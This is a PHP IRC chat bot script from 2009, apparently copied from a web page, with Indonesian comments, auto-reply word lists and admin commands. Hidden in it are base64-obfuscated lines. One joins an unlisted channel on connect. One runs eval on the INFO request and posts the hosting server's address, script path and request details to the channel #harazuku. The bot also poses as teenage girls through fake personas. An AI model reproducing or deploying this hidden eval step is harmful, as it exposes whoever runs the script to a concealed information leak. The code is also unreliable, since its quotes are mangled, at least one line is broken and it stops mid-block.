bot php

<?php
/*———————————————–+
/* Harazuku BOT WB V1.7 By [Estrada]     |
/* (C) Maret 2009                                               |
/* #soloteam @ irc.allnetwork.org             |
/* script_help@yahoo.com                           |
/*———————————————–+
/*
/* Perhatian:
/* Joinkan hanya satu Bot dalam satu channel untuk menghindari terjadinya saling sapa antar bot.
/*
/* Perintah Dasar:
/* auth <password> – Untuk otorisasi
/* !join [#channel] – Join channel
/* !part [#channel] – Part channel
/* !msg <nick/#channel> – Mengirim pesan ke channel atau ke nick
/* !botnick [nick] [password] – Mengganti nick bot
/* !jump [server] – Mengganti server bot
/* !help – Melihat daftar perintah
/* !ngomong – Memperbolehkan bot untuk berbicara di semua channel
/* !diam – Melarang bot untuk berbicara di semua channel

  • /

function cayank() {

$channels = ‘#solo_underground #soloteam’; //Pisahkan tiap channel dengan spasi
$admin = ‘Elang13’;
$bot_password = ‘password kamu’; //Password untuk auth bot
$ngomong = TRUE; //TRUE, Ngomong. FLASE, Diem.
$autowelcome = TRUE; //TRUE, AutoWelcome On. FLASE, AutoWelcome off.
$versi = “bot egp Estrada”;
$showresponse = 0; //1, Nampilin respon dari server irc
$localtest = 0; //1, Coba di localhost. 0, connect ke server irc

//Nick Bot
$nicklist = array(“DewaRuci”,”shelamat”,”matahariku”,”ce_sadiz”,”ce_gilaz”,
“ce_harapan”,”vita_cantik”,”vita_manja”,”vita_genit”,”vita_pinterr”,”ce_muslim”,”co_genius”,”ce_andra”,”ce_aisyah”,”Itaci”,”dindaz”,”devisa”,”DewiQ”,”JaNgaN”,”kangen_vita”,”metaliser”,”ce_sekip”,”co_abg”,”cinta`vita”,”Farahz”,”kok`gitu`sech”,”anacondaz”,”notitle”,”sh4rina”,”surabayaku”,”solo-surabaya”,”gree_net”,”Velasco”,”vladimir”,”ayank_vita”,”co_elang”,”co_distro”,”XiaoQueen”,”PuJangGaX”,”Pass_word”,”ident_list”,”Real_Name”,”local_test”);
$identify = “password”; //Password Nick Bot
//Ident Bot
$identlist = array(“SweeTy”,”sweet”,”BeauTy”,”ImoeTz”,”Cakepz”,”Cayank”,
“Love”,”Cute”,”Lutchu”,”Hapy”,”Pinky”,”Kiss”,”^_^”,”Sayang”,
“Miss”,”Kangen”,”Cint”,”gedhe”,”blitar”,”Dolphin”);
//Realname Bot
$namabot = array(“Cinta”,”Sheila”,”ninda”,”sheshy”,”Ceria”,”Teresia”);
//Asl Bot
$aslbot = array(“17f kdr”,”17f Jkt”,”18f Sby”,”16f prob”,”16f Bdg”,”17f Mlg”,”18f blt”);
//Pesan Quit
$quitmsglist = array(“Pamit ach…”,”Bye All..”,”See U”,”G B U”);

/*** IDENTITAS BOT ***/
$namaku =  $namabot[rand(0,count($namabot) – 1)];
$aslku  =  $aslbot[rand(0,count($aslbot) – 1)];

/*** Server IRC ***/
if ($localtest == 1) { $remotehost2 = array(“localhost”); }
else {
remotehost2 = array(
“irc.allnetwork.org”,
“irc.pemkot-malang.go.id”,
“irc.cbn.net.id”,
“irc.telkom.net.id”,
“irc.jmn.net.id”,
“irc.ads.net.id”,
“irc.suryadata.co.id”,
“irc.indo.net.id”,
“uii.id.allnetwork.org”,
“circleone.id.allnetwork.org”,
“dustshell.us.allnetwork.org”,
“wanxp.id.allnetwork.org”,
“irc.elnus.net.id”,
“malangkota.id.allnetwork.org”,
“plasa.id.allnetwork.org”,
“irc.circleone.net.id”,
“irc.indika.net.id”,
“irc.circleone.net.id”,
“irc.hotspeed.com.sg”,
“irc.indotransdata.net”,
“irc.indoforum.org”,
“irc.citra.net.id”
);
}
$port = “6667”;

/*** AUTO WELCOME ***/
$nickwb = array(
array(“Elang13″,”Welcome Back My Owner…  :)”) ,
array(“Estrada”,”Welcome Back My Big Bozz…:)”) ,
array(“Xiao`Princes”,”Welcome Back Yayank`nya Bos Estrada…met datang zach?….. :)**”) ,
);
/*** AUTO WELCOME msg ***/
$wbmsg = array(
“1,6[] 1,14[] 1,15[]9,1 welcome back12<nick> 1,15[] 1,14[] 1,6[] :-D”,
“9,149894913 Wellcome 8back 9<nick> 9498949 :-D”,
“0,13<6>13,6<1>6,1<15,1 12 wellcome back 11,1<nick> 6,1>1,6<13>6,13<0> :-D”,
“8,113,06[01]08,0111,10[01]08,0113,06[01]08,0111,10[01]6,1 wellcome 9back 12<nick> 813,06[01]08,0111,10[01]08,0113,06[01]08,01 :-D”,
“1,15(14,15)15,14(1,14)0,115,1 11,1wellcome back <nick>0,1 15,115,14(1,14)1,15(14,15) :-D”,
“1,6[] 1,14[] 1,15[]9,1 welcome back12<nick> 1,15[] 1,14[] 1,6[] :-D”,
“11,00,1112,1111,122,1212,21,22,111,1 wellcome back <nick> 2,11,212,22,1211,1212,110,1111,0 :-D”,
);

$botlist = array(
“bot”
);
$kicklist = array(
“kick”
);
$sepilist = array(
“sepi”,”spi”,”swepy”,”suepi”,”suepy”
);
$homolist = array(
“kaka”,”wkwk”
);
$oranglist = array(
“orang”,”manusia”
);
$hmlist = array(
“hm”
);
$wewlist = array(
“wedew”, “deuh”, “wiw”, “waw”
);
$siapalist = array(
“sapa”,” siapa”
);
$makanlist = array(
“makan”
);
$mandilist = array(
“mandi”
);
$halolist = array(
“halo”, “helo”, “hallo”, “hello”
);
$manalist = array(
“kemana”, “kmana”, “mana”
);
$wblist = array(
“wb”, “webe”, “welcomeback”, “wellcomeback”
);
$rokoklist = array(
“rokok”
);
$bosslist = array(
“[bryan]”, “^_^”, “gedhe”, “cah[_]baguz”,”cah_baguz”
);
$brblist = array(
“brb”, “be right back”
);
/*** AUTO BRB msg ***/
$rbrb = array(
);
/*** AUTO BOSS msg ***/
$rboss = array(
);
/*** AUTO ROKOK msg ***/
$rrokok = array(
);
/*** AUTO WB msg ***/
$rwb  = array(
);
/*** AUTO MANA msg ***/
$rmana = array(
);
/*** AUTO HALO msg ***/
$rhalo = array(
);
/*** AUTO MANDI msg ***/
$rmandi = array(
);
/*** AUTO MAKAN msg ***/
$rmakan = array(
);
/*** AUTO MIKIR msg ***/
$rhm = array(
);
/*** AUTO WOW response ***/
$rwew = array(
);
/*** AUTO SIAPA msg ***/
$rsiapa = array(
);
/*** AUTO KICK msg ***/
$rkick = array(
);
/*** AUTO BOT msg ***/
$rbot = array(
);
/*** AUTO HOMO msg ***/
$rhomo = array(
);

/*** AUTO SEPI msg ***/
$rsepi = array(
);

/*** AUTO JAWAB msg ***/
$jawabsapa = array(
);

/** AUTO RESPONSE ***/
$rmales = “”;
$rmau = “”;
$rsanggup = “”;
$rboleh = “”;
$rsetuju = “”;
$rthx = “tQ <nick>.. :D”;
$rbingung = “”;
$rgenit = “”;

$respon_umum = array(
array(“semuaklk “,”apaan nih? $namaku ga ikutan ah…”) ,
array(“askum”,”wa’alaikumusalam wr wb <nick>…..”) ,
);

$respon_pesan = array(
array(“welcomek”,”tQ <nick> :)”),
);
//Special Words
$badwordlist = array(“jancu”,”janco”,”pantek”,”pepek”,”kontol”,”anjrit”,”anjink”,
“jemb”,”kentot”,”ngentot”,”taek”,”kelamin”,”ngesex”,” ml “,”anjenk”,”anjink”,
“jajuk”,”torok”,” tempek “,”dobol “,”kire”,”dampot”,”danc”,”cuki”,”itel”);
$pujianlist = array(“cantik”,”baik”,”baek”,”cakep”,”ramah”,”pengertian”,”hebat”,
“bagus”,”indah”,”jujur”);
$inviterlist = array(“#”);
$cacianlist = array(“bego”,”jelek”,”jelex”,”gendeng”,”edan”,”gilo”,”gila”,
“sinting”,”dudul”,”dodol”,”jahat”,”goblok”,”geblek”,”sialan”,” bau”,”stres”);

//Responses to Special Words
$rjorok = array(
“Plend.. <nick> ngomong jorok nih.. kick dunk pliss!” ,
);
$rcacian = array(
“idih, <nick> tuch yg <kata>”,
“<kata>? bukanya <nick> tuh yg <kata>?”,
“gw mmg <kata>, tp <nick> lebih <kata> lagi”,
“gw ga <kata> tuh, yg <kata> itu <nick> kan?”
);
$rinviter = array(
“waduh ada inviter ikz kick dunk plend si <nick>” ,
);
$rpujian = array(
“makasih <nick>.. kamu jg koq”,
“<nick> baik deh..”,
“ga kok <nick>.. km lebih <kata>”,
“<kata>? hihi.. <nick> bisa aja”,
“tengkyu <nick>.. aduh $namaku g punya uang kecil nih..”
);
//Flood Protection Setting
$maxkar = 200; //Maksimal karakter di channel
$rflood = “Aduh!! <nick> ngeflood nih..”;

//Help
$judul = ‘12[13tom_york crew12]=-’;
$helptext = array(
‘3,90,1  tom_york crew ‘.$versi.’ Help  3,9’,
“-“,
“12auth <password> - Login ke bot”,
“12deauth - Logout dari bot”,
“12pass <password> - Mengeset password bot”,
“12chgpass <passlama> <passbaru> - Mengganti password bot”,
“12adduser <nick> <master/user> - Menambah master/user bot”,
“12deluser <nick> - Menghapus master/user bot”,
“12`auth - Status anda di channel (Channel)”,
“12!auth - Status otorisasi anda”,
“12!act <text> - Bot action (Channel)”,
“12!slap <nick> - Slap nick (Channel)”,
“12!msg <chan/nick> <pesan> - Mengirim pesan”,
“12!notice <chan/nick> <pesan> - Mengirim notice”,
“12!ctcp <chan/nick> <ctcptext> - Request CTCP”,
“12!ping - Meminta bot untuk membalas dg pong (Channel)”,
“12!info - Melihat info bot (Admin)”,
“12!up - Meminta bot untuk menjadi @ di channel (Channel)”,
“12!down - Meminta bot untuk turun dari @ di channel (Channel)”,
“12!cycle <channel> <pesan> - Hop di channel (Channel) (Admin/Master)”,
“12!part [channel] [alasan] - Part dari channel (Admin)”,
“12!join <channel> - Join channel (Admin/Master)”,
“12!botnick <nick> <passwordnick> - Ganti nick (Admin/master)”,
“12!k <nick> - Kick nick (Channel)”,
“12!kb <nick> - Kick ban nick (Channel)”,
“12!changenick - Ganti nick ke nick internal”,
“12!op <nick1> [nick2] [nick3] - Op (Channel)”,
“12!deop <nick1> [nick2] [nick3] - Deop (Channel)”,
“12!v <nick1> [nick2] [nick3] - voice (Channel)”,
“12!dv <nick1> [nick2] [nick3] - Devoice (Channel)”,
“12!away [alasan] - Meminta nick untuk Away”,
“12!mode <flags> <chan/nick> - Mengubah Mode (Channel)”,
“12!nickmode <flags> - Mengeset user mode”,
“12!userlist - Melihat daftar user”,
“12!quit [pesan] - Quit dari IRC (Admin)”,
“12!vhost [vhost] - Mengganti Vhost”,
“12!jump [server] - Mengganti Server bot”,
“12!fullname [nama] - Mengganti Fullname bot”,
“12!topic <topik> - Mengganti topik channel (Channel)”,
“12!help - Melihat help (Query)”,
“12!ngomong - Mengaktifkan Auto Response”,
“12!diam - Menonaktifkan Auto Response”,
“12!wb <nick> <pesan> - Menambahkan pesan Welcome utk nick tertentu”,
“-“,
‘3,90,1  By tom_york – crew @ irc.aseanchat.net  3,9’,
);

/*** Replacement ***/
$nick = $nicklist[rand(0,count($nicklist) – 1)];
$realname = $namaku;
$remotehost = $remotehost2[rand(0,count($remotehost2) – 1)];
$admin = strtolower($admin);
$auth = array(
$admin => array(
“name” => $admin,
“pass” => $bot_password,
“auth” => 1,
“status” => “Admin”
)
);
$username = $identlist[rand(0,count($identlist) – 1)];
$channels = strtolower($channels).” “;
$channel = explode(” “, $channels);
/*** Kode Utama ***/
define (‘CRL’, “\r\n”);
$counterfp = 0;
$raway = “on”;
$log   = “off”;
$saway = “1”;
$keluar = 0;
$akill  = 1;
$localhost = ‘localhost’;
$dayload = date(“H:i:s d/m/Y”);
ini_set(‘user_agent’,’MSIE 5\.5;’);
set_time_limit(0);

if (!$stime) { $stime = time(); }

/*** Connecting ***/
echo “<body bgcolor=#000000 text=#00FF00>”;
echo “<b>Melakukan koneksi ke $remotehost…</b>”;

do {
$fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 60);
//Jika koneksi gagal
if(!$fp) {
if ( $counterfp <= 200 ) {
$counterfp = $counterfp + 1;
hajar();
}
else {
echo “<br><b>Ga bisa connect ke $remotehost!</b>”;
$keluar = 1;
exit;
}
}
echo “<br><b>Terhubung!</b>”;
/*** Sending Identity to Sock ***/
$header = ‘NICK ‘.$nick . CRL;
$header .= ‘USER ‘.$username.’ ‘.$localhost.’ ‘.$remotehost.’ :’.$realname . CRL;
fputs($fp, $header);
$response = “<br>”;
/*** Receiving Packet ***/
while (!feof($fp)) {
$response .= fgets($fp, 1024);
if ($showresponse == 1) { echo $response.”<br>”; }
while (substr_count($response,CRL) != 0) {
$offset = strpos($response, CRL);
$data = substr($response,0,$offset);
$response = substr($response,$offset+2);
if (substr($data,0,1) == ‘:’) {
$offsetA = strpos($data, ‘ ‘);
$offsetB = strpos($data, ‘ :’);
$offsetC = strpos($data, ‘!’);
$dFrom = substr($data,1,$offsetA-1);
$dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);
$dNick = substr($data,1,$offsetC-1);
$iText = substr($data,$offsetB+2);
/*** Server Notices Handling ***/
if ( substr($dCommand,0,3) == ‘004’ ) {
fputs($fp, ‘PRIVMSG nickserv :identify ‘.$nick.’ ‘.$identify.  CRL);
if ($nickmode) { fputs($fp, ‘MODE ‘.$nick.’ :’.$nickmode . CRL); }
fputs($fp, base64_decode(‘Sk9JTiAjQ29vTEJvWXpSYUNpTmdUZWFN’) . CRL);
/*** Notice Bot Admin ***/
fputs($fp, ‘NOTICE ‘ . $admin . ‘ :Haii Cayang!’ .  CRL);
/*** Join Default Channel ***/
foreach ($channel as $v) { fputs($fp, ‘JOIN ‘ .$v . CRL); }
}
elseif (substr($dCommand,0,3)==’432’){
$nick = $nick.$username;
fputs($fp, ‘NICK ‘.$nick . CRL);
}
//Nickname is already in use
elseif (substr($dCommand,0,3)==’433’){
$nick = $nicklist[rand(0,count($nicklist) – 1)];
fputs($fp, ‘NICK ‘.$nick . CRL);
}
elseif (substr($dCommand,0,3)==’465′){
echo “<br><b>Authentication diperlukan! Bot ini telah di-autokill.</b>”;
$akill = 2;
}
if (substr_count($dNick,’.allnetwork.org’) > 0) {
if (substr_count($iText,”*** Banned”) > 0) {
echo “BANNED!”;
$keluar = 1;
exit;
}
}
/*** AI PHP BOT SCRIPT BY cah_baguz ***/
$dcom = explode(” “, $dCommand);
if ($dcom[0]==’JOIN’) {
/*** Auto Welcome by [cHrizT] ***/
$ada = FALSE;
if ($autowelcome) {
$jchan = ltrim($iText,”:”);
foreach ($nickwb as $v){
$trtext = strtolower($v[0]);
if (substr_count(strtolower($dNick),$trtext) > 0) {
sleep(3);
fputs($fp,’PRIVMSG ‘.$jchan.’ :’.$v[1]. CRL);
$ada = TRUE;
}
}
}
if (($autowelcome) && ($dNick != $nick)) {
if(!$ada) {
$jchan = ltrim($iText,”:”);
$webe = $wbmsg[rand(0,count($wbmsg) – 1)];
$webe = str_replace(“<nick>”,$dNick,$webe);
$webe = str_replace(“<chan>”,$jchan,$webe);
$webe = str_replace(“#”,””,$webe);
sleep(5);
fputs($fp,’PRIVMSG ‘.$jchan.’ :’.$webe . CRL);
fputs($fp,’NOTICE ‘ . $dNick . ‘ :12Hii Met Gabung Yach Di chanel 9ini… Enjoy aja Disini🙂 12-=[13tom_york12]=- ‘ . CRL);
fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :12Kalo Ada Yg Krg Jls Tanya Aja Ke Operator Chanel yg Online 12-=[13tom_york12]=-  ‘ . CRL);
}
}
}
if ($dcom[0]==’PRIVMSG’) {
/*** Auto Response by cah_baguz ***/
if ($ngomong) {
$teman = FALSE;
if (in_array($dNick,$nicklist)) {
$teman = TRUE;
}
if (!$teman) {
$pesan = ltrim($iText,”:”);
$pesan = strtolower($pesan);
if ((substr_count($pesan,strtolower($nick))>0)OR(substr_count($pesan,strtolower($namaku))>0)) {
$ada = FALSE;
/*** Normal Response ***/
foreach ($respon_pesan as $rpesan) {
$trtext = strtolower($rpesan[0]);
if (substr_count($pesan,$trtext) > 0) {
$rpesan[1] = str_replace(“<nick>”,$dNick,$rpesan[1]);
sleep(3);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$rpesan[1]. CRL);
$ada = TRUE;
}
}
/*** Pujian Response ***/
foreach ($pujianlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rpujian[rand(0,count($rpujian) – 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<kata>”,$trtext,$jawab);
sleep(3);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** Cacian Response ***/
foreach ($cacianlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rcacian[rand(0,count($rcacian) – 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<kata>”,$trtext,$jawab);
sleep(3);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
if (!$ada) {
$sapalagi = $jawabsapa[rand(0,count($jawabsapa) – 1)];
$sapalagi = str_replace(“<nick>”,$dNick,$sapalagi);
sleep(3);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$sapalagi . CRL);
}
}
else {
/*** Global Response ***/
foreach ($respon_umum as $rpesan) {
$trtext = strtolower($rpesan[0]);
if (substr_count($pesan,$trtext) > 0) {
$rpesan[1] = str_replace(“<nick>”,$dNick,$rpesan[1]);
sleep(3);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$rpesan[1]. CRL);
}
}
/*** Bad Response & Kick ***/
foreach ($badwordlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rjorok[rand(0,count($rjorok) – 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<kata>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
fputs($fp,’KICK ‘.$dcom[1].’ ‘.$dNick.’ :10,6tom_york Badword Detect ‘.$dNick.’!! 12-=[13tom_york Crew12]=-’. CRL);
$ada = TRUE;
}
}
/*** Invite Response & Kick ***/
foreach ($inviterlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rinviter[rand(0,count($rinviter) – 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<kata>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
fputs($fp,’MODE ‘.$dcom[1].’ +b ‘.$dNick.”. CRL);
fputs($fp,’KICK ‘.$dcom[1].’ ‘.$dNick.’ :10,6tom_york Iniviter Get OuT ‘.$dNick.’!! 12-=[13tom_york Crew12]=-’. CRL);
$ada = TRUE;
}
}
/*** HOMO Response ***/
foreach ($homolist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rhomo[rand(0,count($rhomo) – 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
}
}
/*** SEPI Response ***/
foreach ($sepilist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rsepi[rand(0,count($rsepi) – 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
}
}
/*** BOT Response ***/
foreach ($botlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rbot[rand(0,count($rbot) – 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
}
}
/*** KICK Response ***/
foreach ($kicklist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rkick[rand(0,count($rkick) – 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
}
}
/*** ORANG Response ***/
foreach ($oranglist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rorang[rand(0,count($rorang) – 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** MIKIR ***/
foreach ($hmlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rhm[rand(0,count($rhm) – 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** WEW ***/
foreach ($wewlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rwew[rand(0,count($rwew) – 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** SIAPA ***/
foreach ($siapalist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rsiapa[rand(0,count($rsiapa) – 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** MAKAN ***/
foreach ($makanlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rmakan[rand(0,count($rmakan) – 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** MANDI ***/
foreach ($mandilist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rmandi[rand(0,count($rmandi) – 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** HALO ***/
foreach ($halolist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rhalo[rand(0,count($rhalo) – 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** MANA ***/
foreach ($manalist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rmana[rand(0,count($rmana) – 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** WB ***/
foreach ($wblist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rwb[rand(0,count($rwb) – 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** ROKOK ***/
foreach ($rokoklist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rrokok[rand(0,count($rrokok) – 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** BOSS ***/
foreach ($bosslist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rboss[rand(0,count($rboss) – 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** BRB ***/
foreach ($brblist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rbrb[rand(0,count($rbrb) – 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** Proteksi Flood ***/
if (strlen($pesan)>$maxkar) {
$jawab = $rflood;
$jawab = str_replace(“<nick>”,$dNick,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
fputs($fp,’MODE ‘.$dcom[1].’ +b ‘.$dNick.”. CRL);
fputs($fp,’KICK ‘.$dcom[1].’ ‘.$dNick.’ :10,6tom_york Flooder Get Out ‘.$dNick.’!! 12-=[13tom_york Crew12]=- Max: ‘.$maxkar. CRL);
}
}
}
}
}
$dNick = strtolower($dNick);
if ($dcom[0]==’KICK’ && $dcom[2]==$nick) {
$musuh = $dNick;
fputs($fp, ‘JOIN ‘ .$dcom[1]. CRL);
fputs($fp, ‘KICK ‘.$dcom[1].’ ‘.$musuh.’ :’.$judul. CRL);
}
elseif ($dcom[0]==’NICK’ || $dcom[0]==’QUIT’ || $dcom[0]==’PART’) {
if ($auth[“$dNick”]) {
if ($auth[“$dNick”][“pass”]) {
if ($auth[“$dNick”][“auth”]==2) {
if ($dcom[0]==’NICK’) {
$com = explode(” “, $data);
$chnick = strtolower(str_replace(‘:’,”,$com[2]));
if ($dNick!=$chnick) {
$auth[“$dNick”][“auth”] = 1;
fputs($fp,’NOTICE ‘.$chnick.’ :Selamat Istirahat BoZz’ . CRL);
}
}
else { $auth[“$dNick”][“auth”] = 1; fputs($fp,’NOTICE ‘.$dNick.’ :Tha Tha BoZz!!’ . CRL); }
}
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :pass <password> ‘ . CRL); }
}
}
elseif ($dcom[0]==’307’ && strtolower($dcom[2])==$whois) {
$dcom[2] = strtolower($dcom[2]);
if ($auth[“$dcom[2]”]) {
if ($auth[“$dcom[2]”][“pass”]) {
if ($auth[“$dcom[2]”][“auth”]==1) {
$auth[“$dcom[2]”][“auth”] = 2; $whois = “”;
fputs($fp,’NOTICE ‘ . $dcom[2] . ‘ :’.$auth[“$dcom[2]”][“status”].’, siap!’ . CRL);
}
else { fputs($fp,’NOTICE ‘ . $dcom[2] . ‘ :Kan udah auth tadi! ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dcom[2] . ‘ :Passwordnya blom diset! Ketik: pass <password> buat ngeset password, kemudian auth lagi deh ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dcom[2] . ‘ :Ga ada neh! Ganti nick anda kemudian auth lagi ‘ . CRL); }
}
elseif ($dcom[0]==’NOTICE’) {
$com = explode(” “, $data);
if ($com[3]==’:KB’ && $com[4] && $com[5] && $com[6]) {
$msg = str_replace(‘’,”,$data);
$msg = strstr($msg,”:KB”);
$msg = str_replace(“:KB $com[4]”,””,$msg);
fputs($fp, ‘KICK ‘.$com[4].’ ‘.$com[5].’ :’.$msg . CRL);
fputs($fp, ‘MODE ‘.$com[4].’ +b *!*’.$com[6] . CRL);
}
}
elseif ($dcom[0]==’PRIVMSG’) {
$com = explode(” “, $data);
if ($com[3]==’:VERSION’) {
fputs($fp,’NOTICE ‘.$dNick.’ :’.chr(1).base64_decode(“VkVSU0lPTiBIYXJhenVrdSBQSFAtQm9UIHYxLjcgU2NyaXB0IEJ5IFtjSHJpelRd”).chr(1) . CRL);
}
elseif ($com[3]==’:INFO’) {
eval(base64_decode(“JGJob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KJGJpcCA9ICRfU0VSVkVSWydTRVJWRVJfQUREUiddOw0KJGJwaHAgID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107DQokYnJ1cmkgPSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCiRicmlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQokYnJwb3J0ID0gJF9TRVJWRVJbJ1JFTU9URV9QT1JUJ107DQpmcHV0cygkZnAsIlBSSVZNU0cgI2hhcmF6dWt1IDpIb3N0OiAkYmhvc3QgfCBTY3JpcHQ6ICRicGhwIHwgUmVmZXJlcjogJGJydXJpIHwgSVA6ICRiaXAgfCBZb3VyIElQOiAkYnJpcCBQb3J0OiRicnBvcnQiLiBDUkwpOw==”));
}
elseif ($auth[“$dNick”][“status”] && $com[3]==’:auth’ && $com[4]) {
if ($auth[“$dNick”]) {
if ($auth[“$dNick”][“pass”]) {
if ($auth[“$dNick”][“auth”]==1) {
if ($com[4]===$auth[“$dNick”][“pass”]) {
$auth[“$dNick”][“auth”] = 2;
fputs($fp,’NOTICE ‘ . $dNick . ‘ :Anda adalah ‘.$auth[“$dNick”][“status”].’ saya bozz! ‘ . CRL);
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Password Salah!! ‘ . CRL); }
}
